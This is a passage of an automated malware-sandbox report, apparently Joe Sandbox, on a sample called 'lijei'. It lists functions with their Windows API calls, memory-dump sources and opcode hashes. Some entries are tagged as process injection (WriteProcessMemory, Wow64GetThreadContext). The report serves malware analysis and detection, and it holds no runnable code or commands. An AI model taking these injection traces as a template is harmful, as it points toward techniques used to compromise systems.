                                                              Memory Dump Source
                                                              • Source File: 00000008.00000003.2359226380.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Offset: 015FF000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_3_156f000_lijei.jbxd
                                                              Similarity
                                                              • API ID: AllocVirtual
                                                              • String ID:
                                                              • API String ID: 4275171209-0
                                                              • Opcode ID: e7770758809b78ffc42b10f354673b5546b8b13dc6be9d1bd022b8ecd0af7c82
                                                              • Instruction ID: d66256043e7bdcaea225469831cd45abc1209a63089490ed4a6cbb1764c7a21d
                                                              • Opcode Fuzzy Hash: e7770758809b78ffc42b10f354673b5546b8b13dc6be9d1bd022b8ecd0af7c82
                                                              • Instruction Fuzzy Hash: 7C118E302847817BE21B6BB5CC06F1F3B26AF56784F10809DBA424F5E2D6F29505EB55
                                                              Function 008AB050 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ReadFile.KERNELBASE(?,?,00010000,00000000,00000000,?,?,00000000,?,008A6B73,?,00010000,00000000,00000000,00000000,00000000), ref: 008AB0AC
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: FileRead
                                                              • String ID:
                                                              • API String ID: 2738559852-0
                                                              • Opcode ID: 17634f8a7b609b3d509b3a835b1ab732f90f2f22bfbf18d96c87308aa3661fa5
                                                              • Instruction ID: 6144967d659320405bf46795800976b19124edccb657ed95b2ee970e2b23b670
                                                              • Opcode Fuzzy Hash: 17634f8a7b609b3d509b3a835b1ab732f90f2f22bfbf18d96c87308aa3661fa5
                                                              • Instruction Fuzzy Hash: B6113A31204B05DFE7208E55C880B67B7E9FF46354F10C42DE9AA87A52C771E945CB60
                                                              Function 008D5390 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008D500D: RtlAllocateHeap.NTDLL(00000008,00000001,00000000,?,008D31B9,00000001,00000364,?,?,?,0000000A,00000000), ref: 008D504E
                                                              • _free.LIBCMT ref: 008D53FC
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: AllocateHeap_free
                                                              • String ID:
                                                              • API String ID: 614378929-0
                                                              • Opcode ID: 70ee4adefee6eb26262b39f529bfb094e1f6354ac2554c6942b38d017f4a210d
                                                              • Instruction ID: 22fa6fb8018f53175ea232d7fe5b76fb0d165de7f37d14034f0bcc57b48de2bd
                                                              • Opcode Fuzzy Hash: 70ee4adefee6eb26262b39f529bfb094e1f6354ac2554c6942b38d017f4a210d
                                                              • Instruction Fuzzy Hash: E1012B721047095BE3258E59D84595AFBD9FB86370F25071FE1C4C3380EA706805C675
                                                              Function 008A41E6 Relevance: 1.6, APIs: 1, Instructions: 51COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,008A33E9,00972418,?,?,?,?,?,?,?,008A32EF,?), ref: 008A4227
                                                                • Part of subcall function 008A84B7: _wcslen.LIBCMT ref: 008A84CA
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: FullNamePath_wcslen
                                                              • String ID:
                                                              • API String ID: 4019309064-0
                                                              • Opcode ID: dd6c87f3bcf19ddd49d76663acef822119f201b92bf2d2bc9f302561fadf2fee
                                                              • Instruction ID: d261abb7ee0f2af22c416fb5178c8c39230c44504d09efa15fefb5fe695d423f
                                                              • Opcode Fuzzy Hash: dd6c87f3bcf19ddd49d76663acef822119f201b92bf2d2bc9f302561fadf2fee
                                                              • Instruction Fuzzy Hash: D511E531A102099B9F10EBB89805FDD73ECFF4A304F005065B588D7691DFB0D7848B22
                                                              Function 01600DA5 Relevance: 1.5, APIs: 1, Instructions: 47injectionCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • WriteProcessMemory.KERNELBASE ref: 01600DDF
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000003.2359226380.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Offset: 0156F000, based on PE: false
                                                              • Associated: 00000008.00000003.2358205298.000000000156F000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_3_156f000_lijei.jbxd
                                                              Similarity
                                                              • API ID: MemoryProcessWrite
                                                              • String ID:
                                                              • API String ID: 3559483778-0
                                                              • Opcode ID: 0dadb0d25837b5a00dd0050933165fd600fd042c9685e9b4904e640b8f5d1ffd
                                                              • Instruction ID: 482a1bb9979850bcda14de827bb5156a82ee9724a787ca29a0db856207f3aeaf
                                                              • Opcode Fuzzy Hash: 0dadb0d25837b5a00dd0050933165fd600fd042c9685e9b4904e640b8f5d1ffd
                                                              • Instruction Fuzzy Hash: E801BC302403817FE60AABB58C46F6F3726AF56744F0080ACB9414F0E1DAB64910E762
                                                              Function 01600DA5 Relevance: 1.5, APIs: 1, Instructions: 47injectionCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • WriteProcessMemory.KERNELBASE ref: 01600DDF
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000003.2359226380.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Offset: 015FE000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_3_156f000_lijei.jbxd
                                                              Similarity
                                                              • API ID: MemoryProcessWrite
                                                              • String ID:
                                                              • API String ID: 3559483778-0
                                                              • Opcode ID: bd3cd6a49a1e036a3cad3953e7794d7a3d016b1c8f0392b1ed2dffac79ccbc3f
                                                              • Instruction ID: 482a1bb9979850bcda14de827bb5156a82ee9724a787ca29a0db856207f3aeaf
                                                              • Opcode Fuzzy Hash: bd3cd6a49a1e036a3cad3953e7794d7a3d016b1c8f0392b1ed2dffac79ccbc3f
                                                              • Instruction Fuzzy Hash: E801BC302403817FE60AABB58C46F6F3726AF56744F0080ACB9414F0E1DAB64910E762
                                                              Function 01600DA5 Relevance: 1.5, APIs: 1, Instructions: 47injectionCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • WriteProcessMemory.KERNELBASE ref: 01600DDF
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000003.2359226380.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Offset: 015B5000, based on PE: false
                                                              • Associated: 00000008.00000003.2358205298.000000000156F000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_3_156f000_lijei.jbxd
                                                              Similarity
                                                              • API ID: MemoryProcessWrite
                                                              • String ID:
                                                              • API String ID: 3559483778-0
                                                              • Opcode ID: 0dadb0d25837b5a00dd0050933165fd600fd042c9685e9b4904e640b8f5d1ffd
                                                              • Instruction ID: 482a1bb9979850bcda14de827bb5156a82ee9724a787ca29a0db856207f3aeaf
                                                              • Opcode Fuzzy Hash: 0dadb0d25837b5a00dd0050933165fd600fd042c9685e9b4904e640b8f5d1ffd
                                                              • Instruction Fuzzy Hash: E801BC302403817FE60AABB58C46F6F3726AF56744F0080ACB9414F0E1DAB64910E762
                                                              Function 01600DA5 Relevance: 1.5, APIs: 1, Instructions: 47injectionCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • WriteProcessMemory.KERNELBASE ref: 01600DDF
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000003.2359226380.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Offset: 015FF000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_3_156f000_lijei.jbxd
                                                              Similarity
                                                              • API ID: MemoryProcessWrite
                                                              • String ID:
                                                              • API String ID: 3559483778-0
                                                              • Opcode ID: bd3cd6a49a1e036a3cad3953e7794d7a3d016b1c8f0392b1ed2dffac79ccbc3f
                                                              • Instruction ID: 482a1bb9979850bcda14de827bb5156a82ee9724a787ca29a0db856207f3aeaf
                                                              • Opcode Fuzzy Hash: bd3cd6a49a1e036a3cad3953e7794d7a3d016b1c8f0392b1ed2dffac79ccbc3f
                                                              • Instruction Fuzzy Hash: E801BC302403817FE60AABB58C46F6F3726AF56744F0080ACB9414F0E1DAB64910E762
                                                              Function 008CE992 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: e3bcfdf3ea30de5ad2fd104242f32a7f0da7ba7ac48dae96aa9490ba82f0e323
                                                              • Instruction ID: d20f1896630c938b343cb0a19b15d6f8bed2bf8d39581f599a3527958c157940
                                                              • Opcode Fuzzy Hash: e3bcfdf3ea30de5ad2fd104242f32a7f0da7ba7ac48dae96aa9490ba82f0e323
                                                              • Instruction Fuzzy Hash: B3F0F4325116249AD6313A6E9C05F6A37B8FF52334F10071EF865D32D1DFB4D80686A3
                                                              Function 008D500D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • RtlAllocateHeap.NTDLL(00000008,00000001,00000000,?,008D31B9,00000001,00000364,?,?,?,0000000A,00000000), ref: 008D504E
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: AllocateHeap
                                                              • String ID:
                                                              • API String ID: 1279760036-0
                                                              • Opcode ID: 20b60546ba89db2e03b8cc01bfa63790361d391621b1afb3982d86022e9499ac
                                                              • Instruction ID: e14ed635c8de1a5bccc960a0ece454c6c84bcba25837b758b522507bf14952f7
                                                              • Opcode Fuzzy Hash: 20b60546ba89db2e03b8cc01bfa63790361d391621b1afb3982d86022e9499ac
                                                              • Instruction Fuzzy Hash: A5F0E232605E286BEB315B66DC01F5A3758FF417A1B18822BBC19DA3D0CA30EC4086E1
                                                              Function 008D3BB0 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • RtlAllocateHeap.NTDLL(00000000,?,?,?,008C6A99,?,0000015D,?,?,?,?,008C85D0,000000FF,00000000,?,?), ref: 008D3BE2
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: AllocateHeap
                                                              • String ID:
                                                              • API String ID: 1279760036-0
                                                              • Opcode ID: 5fd55b898e31b3dcace5cf6ac241e8ec23c2f033cd5581e33f9837891327f4f1
                                                              • Instruction ID: de40050cc099f1d9f3b45c9f12d79d2ec05aa13d9ea77d3ddae088962230661a
                                                              • Opcode Fuzzy Hash: 5fd55b898e31b3dcace5cf6ac241e8ec23c2f033cd5581e33f9837891327f4f1
                                                              • Instruction Fuzzy Hash: 6DE0ED3120822457EB202A7AAC00F5A3769FB027B0F190327AC46E6290DB71EE4086E3
                                                              Function 008A63DB Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 7c10674163868c98d349e1b3555fccbcc8153e1f79cdbc9b9e404c44b90415de
                                                              • Instruction ID: 03e87186a4dc0734d55afb18578b8b66063ccd40756e6b2f4816d7318c1a08c7
                                                              • Opcode Fuzzy Hash: 7c10674163868c98d349e1b3555fccbcc8153e1f79cdbc9b9e404c44b90415de
                                                              • Instruction Fuzzy Hash: B2F08570005B12CFDB388F64E490812BBE1FF1632A328893EE1C7C2A20D772A840DF40
                                                              Function 008D510A Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _free.LIBCMT ref: 008D512C
                                                                • Part of subcall function 008D2D58: RtlFreeHeap.NTDLL(00000000,00000000,?,008DDB71,00971DC4,00000000,00971DC4,00000000,?,008DDB98,00971DC4,00000007,00971DC4,?,008DDF95,00971DC4), ref: 008D2D6E
                                                                • Part of subcall function 008D2D58: GetLastError.KERNEL32(00971DC4,?,008DDB71,00971DC4,00000000,00971DC4,00000000,?,008DDB98,00971DC4,00000007,00971DC4,?,008DDF95,00971DC4,00971DC4), ref: 008D2D80
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ErrorFreeHeapLast_free
                                                              • String ID:
                                                              • API String ID: 1353095263-0
                                                              • Opcode ID: a7136b118dd25681eba1fac516c3f168631d39be7bcab1b26d5392532d0b3266
                                                              • Instruction ID: d36a0b72bd3809d5454b356e1cd00357acaa73aba7f15aa432cb670cba3028f4
                                                              • Opcode Fuzzy Hash: a7136b118dd25681eba1fac516c3f168631d39be7bcab1b26d5392532d0b3266
                                                              • Instruction Fuzzy Hash: 89E092761017099F8B20CF6CD800A82B7E5EF95320320862BE89DD7320D371E812CB40
                                                              Function 008A653A Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: __fread_nolock
                                                              • String ID:
                                                              • API String ID: 2638373210-0
                                                              • Opcode ID: 246872d857331b2299f9d721c1e21c3e63b90e22c0d4325a9684d784a7ce1dac
                                                              • Instruction ID: 00071655b8a014758903f86f3a7ab5dbc0cf4461c9f1e571ad0b4122740dbeb7
                                                              • Opcode Fuzzy Hash: 246872d857331b2299f9d721c1e21c3e63b90e22c0d4325a9684d784a7ce1dac
                                                              • Instruction Fuzzy Hash: C4F0587140020DFFDF04CF80C941E9E7BB9FB04308F248048F9158A111D336DA21EBA1
                                                              Function 008A4154 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: _wcslen
                                                              • String ID:
                                                              • API String ID: 176396367-0
                                                              • Opcode ID: cc851593f1fd2b35ed972b3ca0519c9d6ab1506275115f6254acfd33543c89c1
                                                              • Instruction ID: 771a44ccac092bd34d5fd76a875c9368d78f1531528daafc3c0eb88f0fae7200
                                                              • Opcode Fuzzy Hash: cc851593f1fd2b35ed972b3ca0519c9d6ab1506275115f6254acfd33543c89c1
                                                              • Instruction Fuzzy Hash: 5CD0A72334201035B669313D2D1BE7F852CDBC26A0B04103FFA03CA1A5EC648C4304E2
                                                              Function 0090E783 Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetShortPathNameW.KERNELBASE(?,?,00007FFF), ref: 0090E7A2
                                                                • Part of subcall function 008A84B7: _wcslen.LIBCMT ref: 008A84CA
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: NamePathShort_wcslen
                                                              • String ID:
                                                              • API String ID: 2021730007-0
                                                              • Opcode ID: 388fa7d593182bb7dfb06c967a357ba7f1da8b734caa833c2a3dbd916d29fe25
                                                              • Instruction ID: 4c85629c5d480aa62b539bb23c8996dce959ecf0d4b1d7173d337b0526e715a2
                                                              • Opcode Fuzzy Hash: 388fa7d593182bb7dfb06c967a357ba7f1da8b734caa833c2a3dbd916d29fe25
                                                              • Instruction Fuzzy Hash: 5BE0CD725042245BDB10925D9C05FDA77DDEFC9790F040070FD05D7248DDA4DD8085A1
                                                              Function 008BF13C Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetFilePointerEx.KERNELBASE(?,00000000,00000000,?,00000001,?,?,?,?,008AB0DE,?,?,00000000,?,008A6B73,?), ref: 008BF156
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: FilePointer
                                                              • String ID:
                                                              • API String ID: 973152223-0
                                                              • Opcode ID: 3e5ff1aeb28d4decceb9607c1c2670530722f552cfb8aa48b5837434abc7f83e
                                                              • Instruction ID: 76a5d7a1f1f381f2959a9c0e58f86ad889d11f4cdbb898f638d750624378ea77
                                                              • Opcode Fuzzy Hash: 3e5ff1aeb28d4decceb9607c1c2670530722f552cfb8aa48b5837434abc7f83e
                                                              • Instruction Fuzzy Hash: A1E092B5514704AFD728DF55D846DA7BBF8EB08310B00455EA85693750E7B1BD448B50
                                                              Function 008A39DE Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 008A39FD
                                                                • Part of subcall function 008A84B7: _wcslen.LIBCMT ref: 008A84CA
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: LongNamePath_wcslen
                                                              • String ID:
                                                              • API String ID: 541455249-0
                                                              • Opcode ID: 671c98493c484bf6157b0b853630928e77952acb3bee077cc132fc4e91dd9957
                                                              • Instruction ID: 43669087e6d05b89295e610bc9c327b556f7721366fb7471fc10e96af3b6d6d2
                                                              • Opcode Fuzzy Hash: 671c98493c484bf6157b0b853630928e77952acb3bee077cc132fc4e91dd9957
                                                              • Instruction Fuzzy Hash: BFE0CD725051245BD710925C9C05FDA77DDEFC9790F040071FD05D7248DDA4DD809591
                                                              Function 01600F17 Relevance: 1.5, APIs: 1, Instructions: 20threadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • Wow64GetThreadContext.KERNEL32(?), ref: 01600F1D
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000003.2359226380.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Offset: 0156F000, based on PE: false
                                                              • Associated: 00000008.00000003.2358205298.000000000156F000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_3_156f000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ContextThreadWow64
                                                              • String ID:
                                                              • API String ID: 983334009-0
                                                              • Opcode ID: 5255a0b058052d87eccb86490df1933a45f29f5e019126e85942741fa4dca6c5
                                                              • Instruction ID: 6aeb9a792d2598fa2bd7ee155db950fc181d682797f06e6c93bbd1dc9e844428
                                                              • Opcode Fuzzy Hash: 5255a0b058052d87eccb86490df1933a45f29f5e019126e85942741fa4dca6c5
                                                              • Instruction Fuzzy Hash: 7AE08C316802407FE105A7B4CC02F2E3326AF92B58F25009CBE062F2E0D6F37C00D66A
                                                              Function 01600F17 Relevance: 1.5, APIs: 1, Instructions: 20threadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • Wow64GetThreadContext.KERNEL32(?), ref: 01600F1D
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000003.2359226380.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Offset: 015FE000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_3_156f000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ContextThreadWow64
                                                              • String ID:
                                                              • API String ID: 983334009-0
                                                              • Opcode ID: 5cf161d17bf5d2a777fc8cb02f8a3d07fd6eb7aec55af2bce78cdb844f0a4740
                                                              • Instruction ID: 6aeb9a792d2598fa2bd7ee155db950fc181d682797f06e6c93bbd1dc9e844428
                                                              • Opcode Fuzzy Hash: 5cf161d17bf5d2a777fc8cb02f8a3d07fd6eb7aec55af2bce78cdb844f0a4740
                                                              • Instruction Fuzzy Hash: 7AE08C316802407FE105A7B4CC02F2E3326AF92B58F25009CBE062F2E0D6F37C00D66A
                                                              Function 01600F17 Relevance: 1.5, APIs: 1, Instructions: 20threadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • Wow64GetThreadContext.KERNEL32(?), ref: 01600F1D
